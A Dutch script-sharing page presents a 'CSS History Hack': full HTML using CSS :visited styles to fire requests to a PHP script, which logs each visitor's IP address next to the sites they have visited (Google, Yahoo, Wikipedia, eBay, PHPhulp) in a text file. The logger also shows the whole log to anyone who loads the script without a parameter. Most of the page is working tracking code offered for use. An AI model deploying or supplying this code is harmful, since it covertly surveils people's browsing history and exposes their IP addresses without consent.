Scripts
CSS History Hack
De methode 'CSS History Hack' is een methode om erachter te komen of een gebruiker een bepaalde website wel of niet bezocht heeft, meestal word dit gedaan met behulp van wat javascript maar ik heb het hier zonder javascript gedaan zodat ook minder programmeer-technische mensen kunnen zien hoe het werkt. Ook laat ik in dit voorbeeld de gegevens wegschrijven naar een bestandje genaamd 'CSS-Hack.txt', dit kan uiteraat ook in een database gezet worden als je wilt, wil je wel voor het wegschrijven naar een bestandje gaan vergeet dan niet de rechten goed te zetten.
css-history-hack
het html bestand:
[code]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>CSS History Hack</title>
<style type="text/css">
a {
display: none;
}
.a1:visited {
background-image: url(http://www.website.com/csshack.php?s=1);
display: block;
}
.a2:visited {
background-image: url(http://www.website.com/csshack.php?s=2);
display: block;
}
.a3:visited {
background-image: url(http://www.website.com/csshack.php?s=3);
display: block;
}
.a4:visited {
background-image: url(http://www.website.com/csshack.php?s=4);
display: block;
}
.a5:visited {
background-image: url(http://www.website.com/csshack.php?s=5);
display: block;
}
</style>
</head>
<body>
<a class="a1" href="http://www.google.com"><span>Google</span>
<a class="a2" href="http://www.yahoo.com"><span>Yahoo</span>
<a class="a3" href="http://www.wikipedia.org"><span>Wikipedia</span>
<a class="a4" href="http://www.ebay.com"><span>Ebay</span>
<a class="a5" href="http://phphulp.nl"><span>PHPhulp</span>
</body>
</html>
[/code]
het php bestand:
<?php
if(empty($_GET['s']))
die(file_get_contents("CSS-Hack.txt"));
$f = fopen("CSS-Hack.txt", 'a');
switch($_GET['s']){
case 1:
fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Google.com");
break;
case 2:
fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Yahoo.com");
break;
case 3:
fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Wikipedia.org");
break;
case 4:
fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Ebay.com");
break;
case 5:
fwrite($f, $_SERVER['REMOTE_ADDR'] . " - PHPHulp.nl");
break;
}
fwrite($f, "
");
fclose($f);
?>
Reacties
0